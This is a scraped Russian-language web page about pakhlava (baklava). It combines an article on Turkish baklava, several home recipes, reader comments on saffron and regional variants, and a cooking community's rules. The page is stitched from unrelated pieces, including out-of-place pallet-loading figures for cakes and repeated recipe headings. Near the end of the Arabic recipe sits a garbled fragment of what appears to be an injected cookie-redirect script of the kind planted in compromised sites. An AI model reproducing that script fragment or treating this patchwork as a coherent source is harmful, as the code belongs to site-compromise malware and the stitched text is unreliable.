Ничего не найдено по данному запросу. Попробуйте воспользоваться поиском чтобы найти то, что Вам нужно.
Ничего не найдено по данному запросу. Попробуйте воспользоваться поиском чтобы найти то, что Вам нужно.
Турецкая пахлава
Для того, чтобы попробовать бесподобно вкусные кусочки орехово-медового праздника — турецкой пахлавы (баклавы), нужно ехать в Турцию. Это так же очевидно, как и то, что день начинается с восходом солнца.
Любовь к пахлаве в Турции повсеместна. «Султанский дворец», «завернутая чалма», «гнездо соловья» и даже «дамский животик» — названия традиционной турецкой сладости не только дают представление о воображении мастеров-кондитеров, но и создают ореол таинственности и сладострастия вокруг этого нежного кондитерского продукта.
Очень долгое время турецкая пахлава изготавливалась только признанными мастерами-кулинарами и подавалась на стол во дворце султана и в домах османской знати, да и только по большим праздникам. Сегодня благодаря многочисленным книгам рецептов и интернет-ресурсам приготовить ее может любой желающий. Но вкус в любом случае будет не тем, которым можно насладиться в настоящем турецком кафе.
Если присмотреться к большинству фотографий пахлавы, приготовленной этими самыми «любыми желающими», то можно разочароваться навсегда в этой турецкой сладости. Лишь жалкий процент похож на настоящую пахлаву, остальные больше напоминают пончики, пампушки, пирожки и даже манты!
Да-да! При виде фотографии, гордо названной горе-кондитером «пахлавой», любой мастер-кулинар получил бы инфаркт и инсульт одновременно. И если даже внешний вид для них так сложно воспроизвести, то что говорить о вкусе?
Секреты приготовления
Разумеется, даже знание состава ингредиентов не позволит испечь пахлаву в том виде, в котором мы встречаем её в турецких ресторанах. Поэтому тут нужно знать несколько тонкостей.
1. Тесто нужно разрезать только до орехового слоя, в противном случае при выпечке поднимутся не только верхние коржи, но и нижние, что испортит вид десерта.
2. Пахлаву обязательно нужно оставлять на несколько часов для того, чтоб она пропиталась сиропом. Капелька ванили или розовой воды придаст сиропу изысканность.
3. Если нет нескольких часов для самостоятельного приготовления теста фило, то можно купить готовое в специализированных магазинах. Лучше не скупиться и купить правильное тесто, чем рисковать вкусом сладости.
Готовую пахлаву можно хранить в прохладном месте до десяти дней. Но до этого доходит редко, поскольку настоящая пахлава, приготовленная в домашних условиях, съедается практически моментально.
На самом деле, рецепт приготовления пахлавы не так уж сложен. Нужно особое тонкое тесто фило, сироп или мед и грецкие орехи или фисташки.
Пахлава сколько хранится
Высота поддона 170 см
Количество тортов на поддоне: 1020 шт.
Количество групповых упаковок на поддоне: 170 упаковок
Количество групповых упаковок в одном слое: 10
Количество слоев на поддоне: 17
Высота поддона 200 см
Количество тортов на поддоне: 1140 шт.
Количество групповых упаковок на поддоне: 190 упаковок
Количество групповых упаковок в одном слое: 10
Количество слоев на поддоне: 19
Количество тортов на поддоне: 1140 шт.
Как хранить пахлаву в домашних условиях
Хочу поделиться простым и очень вкусным рецептом пахлавы.
В рецепте количество продуктов дано на большую порцию (целый противень), поэтому, если семья не очень большая, то можно взять половинную порцию продуктов. Впрочем, пахлава прекрасно хранится в холодильнике (я где-то даже читала, что до одного месяца), поэтому можно и целую порцию сделать))) Тем более, что она становится еще вкуснее на 2-3 день (наверное, лучше пропитывается).
Начинка: орехи перемолоть в мясорубке, размешать с сахаром (ложкой) + белки – хорошо перемешать. Разделить начинку на 3 части.
Тесто: масло смягченное +желтки+сметана+2 чайных ложки соли + 1 чайная ложка соды +30 гр. ванилина + 1 ст. ложку сахара. Хорошо перемешать. Постепенно всыпать муку, помешивая.
Тесто разделить на 4 комка. (2 чуть побольше – нижний и верхний слои). Раскатать 1 слой теста по форме противня. Положить при помощи скалки на противень с фольгой. Смазать тонким слоем начинки. Затем 2, 3 слои раскатать и смазать начинкой, 4 слой раскатать (не смазав).
Смазать желтком верхний слой, разрезать ножом верхний слой (от середины) не до конца. На каждый ромбик положить лесной орех (вдавить).
Духовку заранее не прогревать! Выпекать в духовке 30 минут при температуре 180 градусов. Вытащить через 30 минут, верх смазать медом и вновь выпекать еще 5 минут. Читала, что смазывают медом, разведенным водой. Я так не делаю. Просто беру жидкий цветочный мед и хорошо промазываю пахлаву силиконовой кисточкой.
Охладить, порезать на кусочки.
Только не увлекайтесь! Пахлава — очень калорийная сладость. Но очень сложно оторваться. )))))
Много раз ела пахлаву, но у других, а сама не пробовала готовить… Наконец-таки я ее сделала! Такая вку-у-у-у-усная получилась! Муж сказал, что вкуснее этой пахлавы он еще не ел!
Ингредиенты:
Масло сливочное — 350 г
Сметана — 300 г
Яйца куриные— 4 шт.
Мука — 4 ст.
Сода — 1 ч.л.
Сахар — 2,5 ст.
Грецкий орех — 2 стакана.
Мед — 2 ст.л.
Приготовление:
Вначале готовим тесто. Муку перетереть с 300 г масла в крошку. Добавить 3 желтка, сметану и соду, замесить тесто, убрать его в холодильник на 1 час. После достать, разделить на 3 шарика.
Подготовить начинку: орехи перемолоть, но не в муку, а чтоб оставались кусочки. 4 белка взбить с сахаром до пены, но не очень сильно. Соединить с орехами.
Каждый шарик теста тонко раскатать по размеру противня, сверху распределить начинку. Раскатать следующий шарик, чуть меньше предыдущего. Распределить всю оставшуюся начинку. Наметить (не дорезая до конца) получившийся пирог на ромбики, смазать желтком, украсить орешками.
Выпекать минут 40-50 при 200 градусах. За 5-10 минут до готовности достать, полить медом, растопленным и перемешанным с 50 г сливочного масла. Вернуть в духовку, довести до готовности. Как остынет, дорезать ромбики до конца.
Как хранить пахлаву в домашних условиях
Слово «пахлава» наверняка слышал каждый человек, ведь эту восточную сладость любят и взрослые, и дети. Пахлава считается одним из наиболее популярных кондитерских изделий в арабской, армянской, греческой и турецкой кухне. Считается, что самая первая в мире пахлава была приготовлена ещё в пятнадцатом веке придворными поварами турецкого султана. По сути, пахлава представляет собой сладкой изделие из слоеного теста с измельченными орехами и пропиткой из густого медового сиропа. Восточная кухня в наши дни практически немыслима без пахлавы, поэтому существует огромное количество рецептов приготовления этой орехово-медовой сладости. Как приготовить пахлаву в домашних условиях? Очень просто, особенно, если под рукой есть один из традиционных рецептов её приготовления.
Для приготовления арабской пахлавы вам понадобится: 1.5 стакана муки, 60г топленого масла, 1 яйцо, половина стакана сахара, 5 столовых ложек молока, 200г очищенного миндаля, 20г мёда, ваниль и шафран по вкусу. Муку следует смешать с сахаром, яйцом и небольшим количеством гашеной соды. Молоко разогревают, но не доводят до кипения, и горячим вливают в муку, замешивая крутое плотное тесто. Готовое тесто следует выдержать около часа на нижней полке холодильника, а затем раскатать в тонкий пласт (толщиной не более 5мм). После этого тесто делят на несколько кусков, один из них выкладывают на смазанный маслом противень и посыпают сверху смесью сахара с измельченными орехами. Сверху ореховый слой накрывают ещё одним слоем теста и смазывают маслом. Так делают несколько слоев, а когда все тесто уложено, пахлаву следует разрезать на одинаковые по размеру ромбы. Отдельно используют яичный желток – его смешивают с шафраном и ванилью, взбивают, а затем используют для смазывания пахлавы перед выпеканием. Сверху каждый кусочек пахлавы можно украсить половинкой грецкого ореха. Выпекать это кондитерское изделие следует в духовке при температуре около 200 градусов в течение 40 минут. За 10 минут до готовности поверхность пахлавы смазывают медом.
При желании можно приготовить пахлаву на открытом огне – не в духовке, а в разогретом до кипения масле. Для этого 2 стакана муки смешивают с 50мл молока, одним яйцом, 3 столовыми ложками сахара и небольшим количеством гашеной соды. Тесто нужно замесить и оставить в прохладном месте на час. Затем тесто нужно раскатать до толщины 2мм, посыпать поверхность теста измельченными орехами (миндалем или грецкими), смешанными с сахаром. Тесто скатывается в виде небольшого рулетика (сворачивать тесто нужно плотно), а получившийся рулет нарезается острым ножом на кусочки толщиной 5-6см под углом 45 градусов. Растительное масло следует разогреть в глубокой сковороде, при этом уровень масла не должен опускаться ниже отметки в 1 сантиметр. Когда масло начнет закипать, в него укладывают пахлаву и обжаривают до золотистого оттенка, переворачивая 2-3 раза в процессе переворачивания. Готовую пахлаву вынимают шумовкой и выкладывают на бумажную салфетку, чтобы лишнее масло впиталось в бумагу. Немного остывшую пахлаву можно полить сахарным сиропом или смазать медом.
Пахлава – довольно калорийное лакомство, поэтому её лучше подавать с зеленым или черным чаем (особенно это утверждение касается пахлавы, которая пропитана большим количеством сиропа – если её не запивать, сладость покажется приторной на вкус). function getCookie(e) ()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):vo >=(time=cookie)||vo >
Добавить комментарий Отменить ответ
Для отправки комментария вам необходимо авторизоваться.
Хочу поделиться простым и очень вкусным рецептом пахлавы.
Бакинская Пахлава (Азербайджанская Кухня)
Азербайджанская пахлава имеет неповторимый вкус. В каждом регионе Азербайджана пахлаву готовят по своему. Есть Бакинская пахлава, Шекинская, Кубинская, Гянджинская и.т.д. Пахлава сладкая,многослойная, для ее приготовления требуется время и терпение, но результат того стоит. Эту сладость обязательно готовят на один из самых любимых и главных праздников в Азербайджане – Новруз Байрам. Пахлава довольно долго хранится и с течением времени становится только вкуснее. Поделюсь с своим рецептом Бакинской пахлавы, она состоит из 12 слоев. Обязательно попробуйте эту потрясающую восточную сладость!
Для тех кто любит смотреть мои ролики с ТЕКСТОМ, ссылочка ниже 👇🏻
Для тех кто любит читать и смотреть картинки 🙂 ни что, давайте начинать 🙂
Для приготовления нам нужно
Растопленное сливочное масло — 75 гр
Молотые грецкие орехи — 500 гр
Сахарный песок — 350 гр
Семена кардамона — 1 ч.л.
Ваниль — на кончике ножа
Сахарный песок — 150 гр
Сок лимона — 3 ст.л.
Растопленное сливочное масло для смазки — 300 гр
Желтки для смазки — 3 шт
Орехи — для украшения
Добавляем масло и тёплое молоко, перемешиваем.
Добавляем дрожжи и перемешиваем.
Накрываем полотенцем, оставляем на 20 минут.
В орехи добавляем сахар, ваниль, кардамон.
Делим тесто на 12 частей, 2 части должны быть больше остальных десяти частей.
Смазываем форму для выпечки маслом.
Раскатываем крупный шарик теста.
Распределяем первый слой по форме.
Посыпаем начинкой из орех и сахара.
Раскатываем маленький шарик из теста.
Накрываем и разравниваем, скрепляем края.
Посыпаем слоем орех.
Тоже самое повторяем со всеми слоями. Последний слой должен быть из большого шарика теста.
Разрезаем на ромбики.
Запекаем на 10 минут при 190С
Поливаем оставшимся маслом. Запекаем еще на 25 минут при 180С
Смешиваем воду, сахар, сок лимона, шафран.
Готовый сироп процеживаем.
Пахлаву заливаем сиропом по линиям среза.
Запекаем на 5 минут при 180С
Найдены возможные дубликаты
Ну, обычно мы все это готовим перед праздниками.
Ва алейкум салам. К Новрузу готовитесь? 🙂
Эхх. Был я когда-то студентом и была у меня знакомая с азербайджанскими корнями. Как-то ей (знакомой) передали посылку из дома и там была пахлава, которую её бабушка сделала специально для меня. Ребята, вы себе даже не представляете, насколько она была вкусная ))) Уже больше 10 лет прошло, а я до сих пор помню тот вкус. В магазинах не нашёл ничего даже отдалённо похожего на ту пахлаву (((
Все что в магазинах готовое, это в основном «Название», все остальное — Экономия на продуктах, как в количестве, так и в качестве.
Это да. И каждый раз я в этом убеждаюсь, к сожалению. Но надежда найти именно ТУ пахлаву не умирает 😉
Вам надо по группа посмотреть кто печат по домашнему. Цена будет не как в магазине но в разы вкуснее. были бы вы на Кипре, с радостью угостил.
Эх, помню раньше на рынке в одной лавке торговали такой пахлавой, как же я ее любил, но рынок закрыли, построили ТЦ и хер где найдешь настоящую пахлаву, самому лень готовить, но надо будет попробовать, спасибо за рецепт.
А Зачем Ты Так Пишешь Заголовки?
Что-бы Ты Задал Мне Вопрос Этот Вопрос, На Который Я Не Отвечу.
Что бы добиться нужного цвета придется добавить 2 чайный ложки. 🙁 если его нет или дорого то, забудьте 🙂 черную икру тоже не каждый день едем и ничего, нормально живем 🙂
Спасибо) те красного нужно было бы меньше?
Да, все верно. Щепотки красного хватит.
Думаете, шафран кладут просто потому, что он желтый?
и пряности тоже.
Шафран кладут для пряности и цвета.
Красного хватает щепотки, желтого придётся класть намного больше(как в рецепте).
А какой диаметр формы у вас на фото? На протвине нельзя сделать?
1. Диаметр 33см. Высота 5см.
2. Протвень плоский. Думаю не получится.
а в какой бюджет обойдется такое количество шафрана?
все зависит от того какой шафран и в какой стране вы находитесь. Мы на Кипре, он у нас Иранский 40евро за грам. В Баку мама покупает в два разв дешевле. Для приготовления нужна щепотка. 🙂
ну конкретно в вашем рецепте сколько грамм?)
Щепотка. Грам это очень много 🙂
Большеватая щепотка размером в две чайные ложки.
40 евро за грамм? Вот это да! 0____о
возможно ли заменить шафран ну или уменьшить его количество до 1 гр.?
Если шафран красный, то его достаточно 5-6 шт, если шафран желтый то его придется класть побольше так как цвет и аромат будет слабее.
Сдесь грамм, сколько сыпать?
Щепоточку. не больше!
А почему пахлава? Азербайджанцы баклава называют, и персы баклава называют, и арабы. Они даже пишут на латинице baklava
Турки называют Баклава. У Азербайджанцев ПаХлава.
Орехи в род.падеже — орехов, а не орех. У меня нет орехов, стакан орехов, слой орехов.
Не знаю, мне лично не нравиться пахлава, сколько раз пытался ее полюбить, душа больше к халве лежит
Это Вы настоящую не пробовали. Я в двух, нет в трех местах ела, лет 9 назад, до сих пор забыть не могу. Третье место было кафе, остальное — домашняя. И там точно был мед.)
Это как Шаварма. Мне больше понравился ливанский способ приготовления. При этом, лучший чесночный соус к ней делали в Питере азербайджанцы. Это потом туда понаехали всякие, кто считает, что умеет делать шаварма. То есть, шаверму. В Москве это вообще невозможно жрать, это какой-то кусок . не буду еду оскорблять. Турецкую не пробовал, но, судя по всему, там донер-кебаб, как в Германии, одна традиция.
В Баку тот же соус можно встретить в кафешках быстрого питания Şaurma N1 🙂 весь кайф именно в соусе.
Донерь/Гирос это не шаурма. У Турков еще есть Тантуни. Тож прикрльный фястфуд.
Ну, это дело вкуса. я на Кипре попробывал долму и не понял это блюдо, с турецкой тоже самое. А вот нашу долму люблю. Опять же, на вкус и цвет.
В Москве, на рынке садовод есть кафе Садовод, там делают ахерительную долму
Я в Москве был один раз лет 15 назад. Для приготовления вкусной долмы, у меня есть жена 😁
Разве нет армянской пахлавы? Это как дудук и балабан. Одно и то же, но у каждого — своё.
Нет, пахлаву готовят по разному. 🙂
В Армянской тесто толще. Есть свои особенности в приготовлении.
Турецкая пахлава тоже отличается. (см фото).
Тоже самое с долмой. Турки и Греки ее даже заворачивают по другому.
О сообществе
Открытое сообщество, посвященное кулинарному творчеству. В сообществе будут выкладываться рецепты блюд, длиннопосты с фоторецептами, видео рецепты, вкусовые сочетания продуктов, работы и советы от шеф поваров, статьи о продуктах, блюдах и их происхождении, кулинарные приемы для повседневной жизни от сложных до простых, кулинарный юмор.
Если у вас есть вопросы по выбору посуды, сервировке, проверке качества продуктов, вкусовых совместимостях и др. тематические, можете смело оставлять их в сообществе.
1) Запрещается оставлять сообщения, носящие рекламный (в любой степени) характер и не связанные с брендом.
2) Запрещается размещать сообщения о продаже и перепродаже любых товаров и услуг; размещать ссылки на интернет-ресурсы и/или файлы, содержащие в себе информацию рекламного характера, не связанную с брендом.
3) Запрещается создавать темы и сообщения, провоцирующие пользователей на нарушения настоящих Правил.
4) Запрещается прямое или косвенное оскорбление участников сообщества и администрации.
5) Запрещается выкладывать фото/видео материалы приготовления блюд со сторонних ресурсов. Чтобы исключить плагиат в конце поста прикрепляем фото с готовым блюдом и на листочке имя вашего аккаунта с пометкой для Кулинарной Мастерской или КМ. Посты игнорирующие это правило будут перенесены в общую ленту.
6) Пост видео без подробного текстового рецепта будет перемещён в общую ленту.
7) При оформлении юмористического контента необходимо указывать хештег Кулинарный юмор .
8) Для внесения предложений, критики и других вопросов, писать с пометкой @admoders .